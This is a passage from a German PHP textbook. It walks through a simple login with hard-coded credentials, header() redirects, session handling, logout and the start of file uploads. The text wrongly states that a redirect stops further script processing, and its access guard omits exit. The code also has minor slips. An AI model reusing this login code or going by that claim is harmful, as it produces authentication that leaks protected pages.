        Somit bleibt uns zunächst nur Variante 1 als einzige Alternative. Das macht aber nichts, denn erst mal geht es uns darum, in die PHP-Welt einzusteigen, und nicht darum, gleich zehn Schritte zu überspringen und alles richtig zu machen. Legen wir die korrekten Zugangsdaten also in Form zweier Variablen $username_korrekt und $passwort_korrekt an, vergleichen wir die eingegebenen Daten des Users mit diesen (korrekten) Zugangsdaten, und entscheiden wir dann, ob der User die richtigen Daten eingegeben hat:

        <?php
$msg = "";
if(count($_POST)>0) {
  $username_korrekt = "test@test.at";
  $passwort_korrekt = "test123";
 
  if($_POST["E"]==$username_korrekt && $_POST["P"]==$passwort_korrekt) {
    $msg = '<p>Ihre eingegebenen Daten waren korrekt.</p>';
  }
  else {
    $msg = '<p>Leider waren die eingegebenen Daten nicht korrekt. Bitte ↩ versuchen Sie es erneut.</p>';
  }
}
?>


        …
<body>


          <?php echo($msg); //Ausgabe von $msg in den HTML-Code ?>


          <form method="post">
    <label>  Ihre E-Mail-Adresse:
      <input type="email" name="E" required>
    </label>
    <label>  Ihr Passwort:
      <input type="password" name="P" required>
    </label>
    <input type="submit" value="einloggen">
  </form>
</body>
…


        Listing 11.10    
            Das Login-Formular wurde nun um die eigentliche Logik erweitert (nämlich um das Vergleichen der eingegebenen Daten mit den korrekten Daten).

        Dieses Beispiel ist natürlich noch kein vollständiger Login. Dazu müssten wir noch ein paar weitere Schritte tätigen, die ich aber in Kürze vorstelle. Mehr als ein »Vielen Dank. Ihre eingegebenen Daten waren korrekt.« oder ein »Leider waren die eingegebenen Daten nicht korrekt. Bitte versuchen Sie es erneut.« geschieht ja noch nicht. Mit einem echten Login, der uns in einen geschützten Bereich weiterführt, hat das noch nichts zu tun.

        Widmen wir uns nun einmal einem kleinen Zwischenschritt auf dem Weg zu einem funktionsfähigen Login: Nachdem ein User korrekte Zugangsdaten eingegeben hat, soll er auf ein anderes Dokument (eine andere Adresse) weitergeleitet werden. Natürlich sollte es sich dabei um ein Dokument handeln, auf das »nur eingeloggte User« Zugriff haben. Den Part mit »nur eingeloggte User« verschieben wir noch auf etwas später, aber um diese Weiterleitung kümmern wir uns gleich einmal. Wie eine solche serverseitige Weiterleitung erfolgt, erfahren Sie in Abschnitt 11.11.

        
            [+]  Ein Formular als Kommunikationsmittel

            Immer wenn Sie Formulare als Art »Kommunikationsmittel« zwischen Client und Server verwenden, werden entsprechende Formulardaten an den Server versendet. Ich habe es schon oft gesehen (und kenne es aus eigener Erfahrung), dass man als Programmierer felsenfest davon überzeugt ist, dass Formulardaten übermittelt werden, und trotzdem funktioniert der eigene Code nicht. Man sucht und sucht, bis man letzten Endes feststellt, dass die Daten per GET und nicht per POST übertragen wurden, weil die entsprechende method-Angabe im <form> gefehlt hat.

            Das ist nur ein Beispiel von vielen. Aus diesem Grund empfehle ich Ihnen, sich während der Entwicklungsphase immer sämtliche Formulardaten testweise auf dem Bildschirm ausgeben zu lassen – ganz im Sinne von Abschnitt 11.9. Das gilt in weiterer Folge auch für Session- oder File-Daten. Sie werden sehen.

        

    


                    
                        
        11.11    Den HTTP-Header manipulieren – serverseitige Weiterleitungen

        Serverseitig ist es möglich, anstelle der vom User angeforderten Seite (also desjenigen PHP-Dokuments, das im Request vom Client per Browser angefordert wurde) ein anderes Dokument an den User zurückzuschicken. Dazu muss der sogenannte HTTP-Header manipuliert werden. Dies geschieht relativ einfach durch folgenden Befehl:

        header("Location: pfad/xbeliebig.php");


        Beachten Sie: Dieser Befehl header kann nur dann ausgeführt werden, wenn zuvor keine Rückgabe an den Client erfolgt ist (man spricht konkret vom »Aus- oder Rückgabestrom« an Daten an den Client – dem Response an den Client). Ein solcher Ausgabestrom könnte Folgendes sein:

        
            	
                Vor dem header-Befehl steht bereits ein HTML-Code.

            

            	
                Vor dem header-Befehl wird mit einem PHP-Befehl wie echo oder print_r eine Ausgabe erzeugt.

            

        

        Korrekt wäre also, den header-Befehl wie unten dargestellt zu verwenden:

        <?php
... //nur PHP-Code, kein HTML, kein echo o. Ä.!
header("Location: a/b/c.php");
... //hier darf dann alles Mögliche folgen …
?>


        <!DOCTYPE html>
<html lang="de">
<head>
<title>Test1</title>
<meta charset="utf-8">
</head>
<body>
...
</body>
</html>


        Listing 11.11    
            Serverseitige Weiterleitung mittels Header-Manipulation

        Nicht okay wäre folgender Code 1, da hier vor dem header-Befehl bereits HTML-Code steht. Ein Webserver würde – wenn er entsprechend konfiguriert ist – bereits damit beginnen, die ersten vier Zeilen des folgenden Codes an den Client zurückzusenden, obwohl der restliche Code noch gar nicht fertig verarbeitet ist. Ebenfalls nicht okay wäre der zweite Code, wo vor dem header-Befehl ein echo erfolgt. Dieses echo würde dann nichts anderes bewirken als das, was im vorangegangenen Beispiel geschehen ist: Text (HTML-Code o. Ä.) in den Ausgabestrom schreiben und an den Client schicken.

        
            
                
                    	
                        Code 1

                    
                    	
                        Code 2

                    
                

            
            
                
                    	
                        <!DOCTYPE html>
<html lang="de">
<head>
<title>Test1</title>


                        <?php
...
header("Location: a/b/c.php");
?>


                        <meta charset="utf-8">
</head>
<body>
...
</body>
<html>


                    
                    	
                        <?php
echo("Hallo");
header("Location: a/b/c.php");
?>


                        <!DOCTYPE html>
<html lang="de">
<head>
<title>Test1</title>
<meta charset="utf-8">
</head>
<body>
...
</body>
</html>


                    
                

            
        

        Bitte beachten Sie, dass der header-Befehl nicht auf den Spezialfall der Weiterleitung beschränkt ist. Technisch gesehen, spricht man von einem Senden von HTTP-Anfangsinformationen im Rohformat. Derartige Informationen werden beispielsweise immer dann benötigt, wenn die Antwort vom Server nicht der Anfrage durch den Client entspricht:

        
            	
                serverseitige Weiterleitungen

            

            	
                Versenden von Statusinformationen wie 302, 404 etc.

            

            	
                Ändern des angeforderten Content-Typs: Beispielsweise wird ein Request an eine PHP-Datei gesendet, die Rückantwort vom Server ist jedoch ein PDF-Inhalt.

            

            	
                Setzen von Caching-Informationen

            

        

        Detaillierte Informationen hierzu finden Sie etwa unter http://www.faqs.org/rfcs/rfc2616.html.

        
            [»]  Serverseitige Weiterleitungen finden sofort statt

            Sobald eine solche serverseitige Weiterleitung erfolgt, wird der Rest des Dokuments nicht mehr verarbeitet. Der Server sendet eine Statusmeldung 302 (Found) an den Client, der dann eine neuerliche Anfrage auf das serverseitig per Weiterleitung geforderte Dokument absetzt. Das PHP-Modul bricht somit die Verarbeitung des bestehenden Dokuments ab, sendet eine Rückmeldung an den Client, der das neue Dokument anfordert, was nun in einem zweiten Request vom Server verarbeitet wird.

        

        Ändern wir unser vorangegangenes Login-Beispiel wie folgt ab, so wird der User bei einem erfolgreichen Login auf die Seite geschuetzt.php weitergeleitet – was immer auch auf dieser Seite geschieht …

        <?php
$msg = "";
if(count($_POST)>0) {
  $username_korrekt = "test@test.at";
  $passwort_korrekt = "test123";
  if($_POST["E"]==$username_korrekt && $_POST["P"]==$passwort_korrekt) {
    header("Location: geschuetzt.php");
  }
  else {
    $msg = '<p>Leider waren die eingegebenen Daten nicht korrekt. Bitte ↩ versuchen Sie es erneut.</p>';
  }
}
?>


        Um nun einen funktionsfähigen Login zu erhalten, müssen wir noch etwas tiefer graben, wie Sie im folgenden Abschnitt sehen werden. Einfach nur auf eine andere Seite (wie in unserem Fall auf die Seite geschuetzt.php) weiterzuleiten, macht sicher noch keinen Login aus, denn jeder, der die URL kennt, könnte sie ja auch gleich direkt in die Adresszeile seines Browsers eingeben.

    


                    
                        
        11.12    »Kennst Du mich noch?« – Sessions (Sitzungen)

        Zu den ersten Problemen, auf die man im Bereich der serverseitigen Programmierung stößt, gehört, dass Variablenwerte auf der Serverseite (genau wie auf der Clientseite auch) nur so lange gespeichert werden, wie der Server an der Verarbeitung der Anfrage des Clients arbeitet. Mit anderen Worten, wir sind bis zum jetzigen Zeitpunkt nicht in der Lage, serverseitig Informationen (z. B. die Werte von Variablen) für einen längeren Zeitraum als nur für die Verarbeitung der Requests zu speichern. Dies ist insofern ein Problem, als dass man genau dieses Szenario in vielen Fällen benötigt: Denken Sie beispielsweise an den Fall eines Logins mit folgendem Code, in dem die wesentlichen Fragmente dargestellt sind.

        
            [ ! ]  Sessions sind kein Login

            Sessions und ein Login sind nicht dasselbe: Ein Login ist lediglich die Anwendung der sehr grundlegenden Technik der Sessions. Verwechseln Sie das bitte nicht.

        

        <?php
...
$msg = '';
if(count($_POST)>0) {
  $username_korrekt = "test@test.at";
  $passwort_korrekt = "test123";
  if($_POST["E"]==$username_korrekt && $_POST["P"]==$passwort_korrekt) {
    header("Location: geschuetzt.php");
  }
  else {
    $msg = '<p class="error">Die eingegebenen Daten waren leider nicht ↩ korrekt. Bitte versuchen Sie es erneut.</p>';
  }
}
?>


        ...
<body>


          <?php echo($msg); ?>


          <form method="post">
    <label>  Ihre E-Mail-Adresse:
      <input type="email" name="E" required>
    </label>
    <label>  Ihr Passwort:
      <input type="password" name="P" required>
    </label>
    <input type="submit" value="einloggen">
  </form>
</body>
... 


        Listing 11.12    
            Nach erfolgreicher Überprüfung der Login-Daten wird auf »geschuetzt.php« weitergeleitet.

        Üblicherweise läuft ein solcher Login wie folgt ab:

        
            	
                Der User gibt in einem Formular seine Zugangsdaten ein und schickt es ab.

            

            	
                Durch das Abschicken wird ein Request auf dem Server erzeugt, wodurch die Formulardaten an den Server übermittelt werden.

            

            	
                Mittels PHP werden die übermittelten Daten geprüft, indem man die eingegebenen Daten des Users mit den korrekten Daten (üblicherweise E-Mail-Adresse und Passwort) vergleicht.

            

            	
                Sind die eingegebenen Daten korrekt, so leitet man den User zumeist auf eine Seite weiter, die »zugangsgeschützt« ist; quasi ein geschützter Bereich.

            

            	
                Für den Fall, dass die eingegebenen Daten nicht korrekt sind, erzeugt man eine entsprechende Fehlermeldung.

            

            	
                Der Server generiert die Antwort (den Response) an den Client.

            

        

        
            [image: Im Kurzdurchlauf der Vorgang beim Verarbeiten der Seite »login.php«: Request, Verarbeitung auf dem Server, Response]

            Abbildung 11.23    
            Im Kurzdurchlauf der Vorgang beim Verarbeiten der Seite »login.php«: Request, Verarbeitung auf dem Server, Response

        
        Abbildung 11.23 zeigt den üblichen Ablauf beim Verarbeiten einer Seite (wie z. B. login.php) unabhängig vom User. Gehen wir einmal davon aus, dass einer dieser User das Login-Formular ausfüllt und den Abschicken-Button klickt. Der Ablauf zwischen Client und Server ist immer noch derselbe, bis auf die Tatsache, dass:

        
            	
                Formulardaten vom Client an den Server gesendet werden,

            

            	
                die Formulardaten einen geänderten Ablauf unseres PHP-Codes auf dem Server bewirken, da wir bei Vorhandensein von Formulardaten eine entsprechende Überprüfung im Sinne eines Logins vornehmen,

            

            	
                im Falle korrekter Zugangsdaten eine (header-)Weiterleitung auf der Serverseite eingeleitet wird. (Der Response vom Server an den Client enthält den Inhalt von geschuetzt.php anstatt von login.php.) Sollten die Zugangsdaten nicht korrekt eingegeben worden sein, wird eine entsprechende Fehlermeldung produziert und der (generierte) Inhalt von login.php als Response zurückgeschickt.

            

        

        Mit anderen Worten, es sollte also so sein, dass der User nach Eingabe der korrekten Zugangsdaten auf eine (geschützte) Seite weitergeleitet wird, deren Inhalt nur er sowie gegebenenfalls andere eingeloggte User sehen können sollen.

        
            [image: Aufbauend auf  (Schritte 1 bis 5) wird nun Folgendes geschehen: Nachdem der User die korrekten Zugangsdaten eingegeben, das Formular abgeschickt und damit den nächsten Request abgesetzt hat, wird er serverseitig (über einen Zwischenschritt aufgrund des 302-Status) zur Datei »geschuetzt.php« weitergeleitet.]

            Abbildung 11.24    
            Aufbauend auf Abbildung 11.23 (Schritte 1 bis 5) wird nun Folgendes geschehen: Nachdem der User die korrekten Zugangsdaten eingegeben, das Formular abgeschickt und damit den nächsten Request abgesetzt hat, wird er serverseitig (über einen Zwischenschritt aufgrund des 302-Status) zur Datei »geschuetzt.php« weitergeleitet.

        
        So weit, so gut. Die Problematik besteht jedoch darin, dass der Server nach dem Response über keinerlei Informationen mehr verfügt, was davor geschehen ist, und somit auch nicht mehr weiß, dass sich ein User zuvor (erfolgreich) eingeloggt hat. Mit anderen Worten, auch jeder nicht eingeloggte User könnte die Seite geschuetzt.php im Browser aufrufen, wenn er nur die Adresse kennt. Dieses Problem gilt es zu lösen.

        Eine Session (Sitzung) entsteht im Prinzip immer dann, wenn ein Client und ein Server miteinander kommunizieren. Jedoch wird eine Session dann automatisch wieder gelöscht, wenn wir sie nicht explizit aufrechterhalten wollen. Um jedoch diese Sitzung aufrechtzuerhalten, muss der Server explizit dazu angewiesen werden. Dies geschieht über den Befehl session_start();.

        Dieser Befehl aktiviert die Session-Verwaltung für diesen konkreten User. Hierbei wird eine 32-stellige alphanumerische Kombination (die Session-ID) erzeugt und in Form eines serverseitigen Cookies (eine kleine Textdatei, in die beliebige Informationen geschrieben und auf dem Computer des Users gespeichert werden können) auf dem Server abgelegt. (Das gilt nur, sofern eine solche Session-ID für den konkreten User nicht bereits existiert: Dies ist dann der Fall, wenn in einer vorangegangenen Anfrage bereits eine Session-ID erzeugt wurde.)

        Der Server schickt diese Information (gemeinsam mit einem Ablaufdatum) mit dem nächsten Response an den Client zurück, wobei der Client diese Informationen wiederum für sich in Form eines Session-Cookies auf dem Rechner des Users ablegt. Somit verfügen sowohl der Server als auch der Client über dieselben Informationen. Das abgeänderte Code-Fragment ist in Listing 11.13 dargestellt, den schematischen Ablauf sehen Sie in Abbildung 11.25.

        if(count($_POST)>0) {
  $username_korrekt = "test@test.at";
  $passwort_korrekt = "test123";
  if($_POST["E"]==$username_korrekt && $_POST["P"]==$passwort_korrekt) {
    session_start();
    header("Location: geschuetzt.php");
  }
  else {
    $msg = '<p class="error">Die eingegebenen Daten waren leider nicht ↩ korrekt. Bitte versuchen Sie es erneut.</p>';
  }
}


        Listing 11.13    
            Die Session-Verwaltung wird gestartet (und es wird eine Session-ID erzeugt).

        Bei jedem weiteren Request des Clients an den Server wird diese Information an den Server mitübertragen. Somit kann der Server diese Information mit all seinen gespeicherten Informationen vergleichen. (Es wird also das Session-Cookie des Clients mit all den serverseitigen Cookies des Servers verglichen.) Entsprechend kann der Server auf die zusätzlich gespeicherten Informationen zu diesem serverseitigen Cookie zugreifen. Wie diese zusätzlichen Informationen erzeugt werden, haben wir noch nicht besprochen.

        
            [Info]  Abfragen der Session-ID

            Um den Wert der Session-ID abzufragen, benötigen Sie den Befehl session_id().

        

        
            [image: Der Ablauf beim Erzeugen einer Session verdeutlicht, dass nach dem Response durch den Server sowohl der Client als auch der Server über dieselben Informationen hinsichtlich Session-ID und Restlaufzeit verfügen.]

            Abbildung 11.25    
            Der Ablauf beim Erzeugen einer Session verdeutlicht, dass nach dem Response durch den Server sowohl der Client als auch der Server über dieselben Informationen hinsichtlich Session-ID und Restlaufzeit verfügen.

        
        Wie lange die Sitzungsinformationen auf dem Server gespeichert werden (oder mit anderen Worten: wie lange die Sitzung gültig ist), hängt von der PHP-Konfiguration ab. Üblicherweise ist dieses Timeout mit 24 Minuten festgelegt (siehe session.gc_maxlifetime in der Datei php.ini). Um dieses Timeout eigenhändig festzulegen, können Sie mithilfe des Befehls ini_set (der Konfigurationen aus der php.ini abändert) den Parameter session.gc_maxlifetime in Sekundenwerten setzen:

        ini_set("session.gc_maxlifetime",3600);


        Im obigen Fall wird das Timeout auf 3600 Sekunden oder eine Stunde gesetzt. Bitte beachten Sie jedoch, dass das Setzen eines Timeouts vor dem Starten der Session-Verwaltung erfolgen muss:

        ini_set("session.gc_maxlifetime",3600); //Setzen des Session-Timeouts
...
session_start(); //Starten der Session-Verwaltung


        Dieser Timeout-Wert wird bei jedem erneuten Request des Clients wieder auf den gesetzten Wert zurückgesetzt. Meldet sich ein Client demnach fortlaufend vor Ablauf des Timeouts, so könnte man auch sagen, dass die Session nie abläuft.

        
            Fassen wir noch einmal zusammen

            
                	
                    Eine Session-ID ist eine eindeutige Kennung, um einen Client im Falle eines erneuten Requests wiedererkennen zu können.

                

                	
                    Diese Form der Wiedererkennung funktioniert nur so lange, wie das Timeout nicht abgelaufen ist. Wie lange dieses Timeout dauert, hängt von der Konfiguration von PHP ab. Es kann jedoch individuell abgeändert werden.

                

                	
                    Innerhalb einer solchen Session können (beliebig viele) Informationen für den User gespeichert werden.

                

            

        

        Eine Session-Ablage auf dem Server können Sie sich wie einen Ablageschrank vorstellen, in dem für jeden Client ein Ablagefach zur Verfügung steht, das mit der Session-ID und dem Timeout beschriftet ist (siehe Abbildung 11.26). Welche Informationen man in dieses Ablagefach hineinlegt, hängt davon ab, was man sich für den jeweiligen Client (also User) merken möchte. Über den Befehl session_start() wird einerseits der Zugriff auf das Ablagefach überhaupt erst möglich, und außerdem wird für den betroffenen User eine Session-ID erzeugt, sollte ihm noch keine solche zugewiesen worden sein.

        
            [image: Der Befehl »session_start()« macht das Arbeiten mit Sessions erst möglich.]

            Abbildung 11.26    
            Der Befehl »session_start()« macht das Arbeiten mit Sessions erst möglich.

        
        Als Nächstes müssen wir uns darum kümmern, welche Informationen wir uns (für einen jeden User individuell) merken möchten. Abbildung 11.27 veranschaulicht eine Session-Verwaltung, die Sie sich als Ablagefach auf dem Server vorstellen können.

        
            [image: Die Session-Verwaltung ist vergleichbar mit einem serverseitigen Ablagefach.]

            Abbildung 11.27    
            Die Session-Verwaltung ist vergleichbar mit einem serverseitigen Ablagefach.

        
        Jedes Fach ist mit einer eindeutigen Kennung (Session-ID) beschriftet, und die Verfallszeit wird ebenso notiert. In einem Ablagefach können sich zudem beliebig viele Informationen befinden, die Sie sich wiederum als Briefkuverts vorstellen können, die mit einem Namen beschriftet sind und ein Kärtchen mit einem zugehörigen Wert enthalten. Wie Sie sehen, ist das Ablagefach unseres Users noch leer: Für ihn hat sich der Server noch nichts gemerkt. Der Zugriff ist natürlich nur auf das eigene Postfach möglich.

        Um die Funktionsweise von Sessions zu verstehen, ist jedoch noch eine weitere Frage sehr wesentlich, auf die wir eine Antwort finden müssen: »Wir haben behauptet, dass der Server nun in der Lage ist, den Client bei jedem weiteren Request wiederzuerkennen. Nur, wie soll das funktionieren?« Die Antwort darauf ist wie folgt:

        
            	
                Nachdem der Server eine Session-ID erzeugt hat (und mit der Verarbeitung des PHP-Dokuments fertig ist), sendet er seine Antwort an den Client zurück.

            

            	
                Teil dieser Antwort ist – neben den eigentlichen Daten – nun auch das Session-Cookie. Dieses Cookie beinhaltet zwei Informationen:

                
                    	
                        die Session-ID, die der Server für den Client generiert hat

                    

                    	
                        das Timeout in Form eines Zeitstempels, wann das Cookie abläuft

                    

                

            

            	
                Der Client nimmt dieses Cookie an und speichert dieses lokal auf dem Rechner des Users ab.

            

            	
                Bei jedem erneuten Request des Clients an den Server (konkret: an diejenige Website samt Pfad, für die das Cookie generiert wurde) sendet der Ckient sein (clientseitiges) Cookie an den Server mit.

            

            	
                Der Server vergleicht nun das Cookie des Clients mit den Session-IDs, die er gespeichert hat. Wird er fündig, kann der Server den Client wiedererkennen. Danach überprüft der Server noch, ob das Timeout noch gültig ist. Ist dies der Fall, kann auf die für den Client gespeicherten Informationen zugegriffen werden.

            

        

        
            11.12.1    Ablegen von serverseitigen Informationen – das $_SESSION-Array

            Nachdem für einen Client nun eine eindeutige Session-ID erzeugt wurde, ist der Server in der Lage, für diesen Client Informationen zu speichern, und zwar so lange, wie der Timeout währt. Sie erinnern sich: Jedem User steht (s)ein Ablagefach zur Verfügung.

            Um Informationen für den jeweiligen Client auf dem Server abzulegen, stellt PHP ein superglobales assoziatives Array namens $_SESSION zur Verfügung, dessen Einträge wir vollständig selbst wählen können. Sprich, das Array ist anfangs leer und kann dann durch assoziative Einträge gefüllt werden:

            $_SESSION["Zahl"] = 47;
$_SESSION["loggedIn"] = true;
$_SESSION["Vorname"] = "Uwe";


            Das obige Beispiel soll verdeutlichen, dass sowohl die Einträge (Zahl, loggedIn, Vorname) als auch die zugewiesenen Werte (47, true, "Uwe") völlig frei wählbar sind. Genauso können sie auch jederzeit überschrieben werden – ganz im Sinne eines Arrays, wie wir es kennen. Die Einträge im Session-Array nennt man Session-Variablen, obwohl es sich natürlich nicht um Variablen, sondern um (assoziative) Einträge im Session-Array handelt. Der Grund für diese Benennung liegt in der Historie von PHP, in dem in früheren Zeiten einzelne (Session-)Variablen anstatt eines (Session-)Arrays verwendet wurden.

            
                [»]  Der Zugriff auf das Session-Array

                Um auf das Session-Array zugreifen zu können, muss zuvor der Befehl session_start() ausgeführt werden, und zwar in jedem Dokument, das auf dieses Array zugreifen möchte. Das Starten der Session-Verwaltung zu vergessen, ist ein sehr häufiger Fehler.

            

            
                Unser Anwendungsbeispiel: Ein Login-Prozedere

                Im Fall eines Logins werden Session-Variablen dazu verwendet, um sich einen erfolgreichen Login eines Users merken zu können. Hierzu wird in login.php in das Session-Array ein entsprechender Eintrag geschrieben, dann auf das geschützte Dokument (geschuetzt.php) weitergeleitet und dort abgefragt, ob der zuvor geschriebene Eintrag den gewünschten Wert aufweist:

                
                    	
                        Bei einem erfolgreichen Login wird die Session-Verwaltung gestartet und ein Eintrag im Session-Array vorgenommen (login.php):

                        if(count($_POST)>0) {
  $username_korrekt = "test@test.at";
  $passwort_korrekt = "test123";
  if($_POST["E"]==$username_korrekt && $_POST["P"]==$passwort_korrekt) {
    session_start();
    $_SESSION["eingeloggt"] = true;
    header("Location: geschuetzt.php");
  }
  else {
    $msg = '<p class="error">Die eingegebenen Daten waren leider nicht ↩ korrekt. Bitte versuchen Sie es erneut.</p>';
  }
} 


                        Listing 11.14    
            Wir speichern erste Session-Informationen.

                    

                    	
                        Auf der Seite, auf die weitergeleitet wurde bzw. deren Inhalte nicht jedermann zugänglich sein sollen (und somit auf allen zu schützenden Seiten), wird diese Information nun abgefragt. Sollte dies nicht der Fall sein, wird auf die Login-Seite zurückgeleitet (geschuetzt.php):

                        session_start(); //muss in jedem Dokument vorhanden sein, das auf die 
                 //Session-Daten zugreifen können soll
if(!(isset($_SESSION["eingeloggt"]) && $_SESSION["eingeloggt"]===true)) {
  header("location: login.php");
} 


                    

                

                Beachten Sie die Vorgehensweise des obigen Codes:

                
                    	
                        Zunächst wird der Zugriff auf die Session-Verwaltung gestartet. Das muss in einem jeden Dokument erfolgen, das auf die Session-Verwaltung zugreifen können soll.

                    

                    	
                        Als Nächstes wird geprüft, ob ein Eintrag namens eingeloggt im Session-Array existiert. Dies erfolgt über den Befehl isset, der einen booleschen Wert zurückliefert:

                        isset($_SESSION["eingeloggt"]) 


                    

                    	
                        Danach wird geprüft, ob dieser Eintrag auch den gewünschten Wert true aufweist: $_SESSION["eingeloggt"]===true. Auch dieser Vergleich ergibt wiederum einen booleschen Wert.

                    

                    	
                        Beide Ergebnisse werden UND-verknüpft.

                    

                    	
                        Danach wird das Ergebnis der UND-Verknüpfung umgekehrt, da wir in Wahrheit nur daran interessiert sind, ob das Erfragte nicht der Fall ist. In diesem Fall würden wir den User nämlich auf die Login-Seite zurückleiten.

                    

                

                Abbildung 11.28 zeigt auf, warum wir diesen Weg gegangen sind: Ein User kann die Seite geschuetzt.php nun nicht mehr direkt im Browser aufrufen, da der obig beschriebene Code überprüfen würde, ob der Eintrag eingeloggt im Session-Array existiert und ob dieser true ist. Für einen User ohne vorherigen Login ist dies jedoch nicht der Fall, weshalb dieser zur Login-Seite zurückgeleitet wird.

                
                    [image: Nicht eingeloggte User haben nun keinen Zugang mehr zur geschützten Seite.]

                    Abbildung 11.28    
            Nicht eingeloggte User haben nun keinen Zugang mehr zur geschützten Seite.

                
            
        
        
            11.12.2    Weg damit: Session und Session-Variablen löschen

            Um eine Session zu löschen, müssen mehrere Schritte bedacht werden:

            
                	
                    Die Einträge im Session-Array müssen gelöscht werden: Hierzu setzen Sie das Session-Array auf ein leeres Array zurück.

                

                	
                    Das Ablaufdatum des serverseitigen Cookies (und somit auch das Ablaufdatum des Session-Cookies auf der Clientseite) muss auf einen Zeitpunkt in der Vergangenheit gesetzt werden (sofern Cookies verwendet werden, was jedoch in der Regel der Fall ist): Hierzu ermitteln Sie die aktuelle Zeit (in Sekunden) und subtrahieren davon einen halben Tag (43.200 Sekunden) oder einen ganzen Tag (86.400 Sekunden).

                

                	
                    Schlussendlich muss die Session-ID, die für den jeweiligen Client generiert wurde, ebenfalls gelöscht werden: Dies erfolgt mit dem Befehl session_destroy():

                    <?php
session_start();
$_SESSION = [];
if(ini_get("session.use_cookies")) {
  $params = session_get_cookie_params();
  setcookie(session_name(), '', time()-86400, $params["path"], ↩
params["domain"], $params["secure"], $params["httponly"]);
}
session_destroy();
?>


                    Listing 11.15    
            Das Entfernen von Session-Daten zieht einiges an Arbeit nach sich.

                

            

            Bezieht man dies auf den Logout in einem System wie etwa auf unseren Login von vorhin, so können Sie wie folgt vorgehen:

            
                	
                    Sie fügen demjenigen Dokument, in dem der Logout-Button sein soll, den folgenden HTML-Code hinzu. Dieser Code erzeugt zunächst einmal nicht mehr als ein Formular, das nur einen (benannten!) Submit-Button enthält:

                    <form method="post">
  <input type="submit" value="ausloggen" name="btnlogout">
</form> 


                

                	
                    Zusätzlich erhält das Dokument auch noch den zugehörigen PHP-Code, der seinerseits prüft, ob genau dieser (Submit-)Button geklickt wurde. Der Rest des Codes ist dann derjenige, den wir zum Eliminieren der Session-Daten wie zuvor beschrieben benötigen:

                    ...
session_start();
if(count($_POST)>0) {
  if(isset($_POST["btnlogout"]) && $_POST["btnlogout"]=="ausloggen") {
    $_SESSION = array();
    if (ini_get("session.use_cookies")) {
      $params = session_get_cookie_params();
      setcookie(session_name(),'',time() - 86400,
      $params["path"], $params["domain"],$params["secure"],
      $params["httponly"]);
    }
    session_destroy();
  }
}
... 


                    Listing 11.16    
            Ein typischer Logout bei Verwendung von Cookies

                

                	
                    Nachdem nun keinerlei Session-Daten mehr vorhanden sind, erzwingen die folgenden Code-Zeilen das Weiterleiten auf die Login-Seite:

                    if(!(isset($_SESSION["eingeloggt"]) && $_SESSION["eingeloggt"]===true)) {
  header("location: login.php");
} 


                

            

        
    


                    
                        
        11.13    Formulare aufgebohrt: Datei-Upload

        Ein Datei-Upload bietet die Möglichkeit, aus Sicht des Clients eine Datei (single Upload) oder mehrere Dateien (multiple Upload) hochzuladen. Dazu sind zunächst im Formular ein paar Vorkehrungen notwendig:

        <form ... enctype="multipart/form-data">
  <input type="file" name="meinUploadfeld" ... >
  ...
</form>


        Das enctype-Attribut (für encoding type) legt fest, wie die zu übersendenden Daten kodiert werden müssen. Der Standardwert ist application/x-www-form-urlencoded, wodurch Zeichen wie etwa ein Leerzeichen (durch ein »+«) oder auch andere Sonderzeichen entsprechend kodiert werden (@ → %40).

        Mithilfe dieser Änderung im HTML-Code des Formulars ist der User nun in der Lage, neben der Eingabe von Text- und Werten aus anderen Feldern auch Dateien hochzuladen. Eine hochgeladene Datei wird aber nicht gleich im Root-Verzeichnis (oder einem anderen Verzeichnis) abgespeichert, sondern zunächst in ein temporäres Verzeichnis (unter einem zufälligen Dateinamen) abgelegt. Von dort muss die Datei dann abgeholt (und wieder entsprechend rückbenannt) werden.

        Nun ergibt sich natürlich ein Problem: Wir als Programmierer haben ja keine Ahnung, wie die Datei, die der User hochgeladen hat, früher einmal hieß. Wir benötigen also weitere Informationen auf der Serverseite, um die (in einen temporären Ordner hochgeladene und mit einem zufälligen Dateinamen versehene) Datei entsprechend wiederherzustellen. Dabei hilft uns das Array $_FILES: ein superglobales assoziatives Array. Dieses Array ist zweidimensional: In der ersten Dimension finden wir den Eintrag des Upload-Feldes, benannt nach dem Namen des Feldes selbst; und in der zweiten Dimension finden wir je hochgeladener Datei folgende weiteren Informationen (als assoziative Einträge im Array):

        
            	
                name: Beinhaltet den ursprünglichen Namen der Datei.

            

            	
                tmp_name: Beinhaltet den Pfad (inklusive Dateinamen) der temporären Datei.

            

            	
                error: Beinhaltet einen Fehlercode, wobei error==0 bedeutet, dass kein Fehler aufgetreten ist.

            

            	
                size: Gibt die Größe der Datei in Bytes an.

            

            	
                type: Gibt den MIME Type der Datei an (sprich die Kennung, um welche Art von Datei es sich handelt). Beachten Sie jedoch den folgenden Hinweis!

            

            	
                full_path (seit PHP 8.1): Gibt den auf der User-Seite vorhandenen Pfad an, also genau denjenigen Pfad, der auch auf dem User-System verwendet wird. (Das ist jedoch nicht der absolute Pfad auf dem User-System.) Weil diese Angabe (naturgemäß) manipuliert werden kann, sollte ihr nur bedingt Vertrauen geschenkt werden.

            

        

        
            [»]  Das Vertrauen in MIME Types, die der Browser bereitstellt

            Die Information zum MIME Type stellt der Browser zur Verfügung. Dies bedeutet, dass dieser Information nicht vertraut werden darf, da sie manipuliert sein könnte. Weil auf der Serverseite keine erneute Überprüfung des Dateityps erfolgt, ist an dieser Stelle Vorsicht geboten. Eine Lösung zu diesem Problem finden Sie in Abschnitt 13.1 zur Security.

        

        Kreieren wir ein kleines Upload-Beispiel:

        <?php
ta($_FILES);
?>


        ...
<form method="post" enctype="multipart/form-data">
  <label>Bitte wählen Sie eine Datei aus:
    <input type="file" name="meinUpload" required>
  </label>
  <input type="submit" value="hochladen">
</form>


        Listing 11.17    
            Ein einfaches Upload-Formular

        Nachdem der User eine Datei ausgewählt und den hochladen-Button geklickt hat, ergibt sich die Ansicht aus Abbildung 11.29.

        
            [image: Nach erfolgtem Upload verwenden wir unsere Testausgabe-Funktion »ta«, um den Inhalt von »$_FILES« auf dem Bildschirm auszugeben.]

            Abbildung 11.29    
            Nach erfolgtem Upload verwenden wir unsere Testausgabe-Funktion »ta«, um den Inhalt von »$_FILES« auf dem Bildschirm auszugeben.

        
        Betrachten wir die nun notwendigen Schritte nach dem Hochladen der Datei im Detail:

        
            	
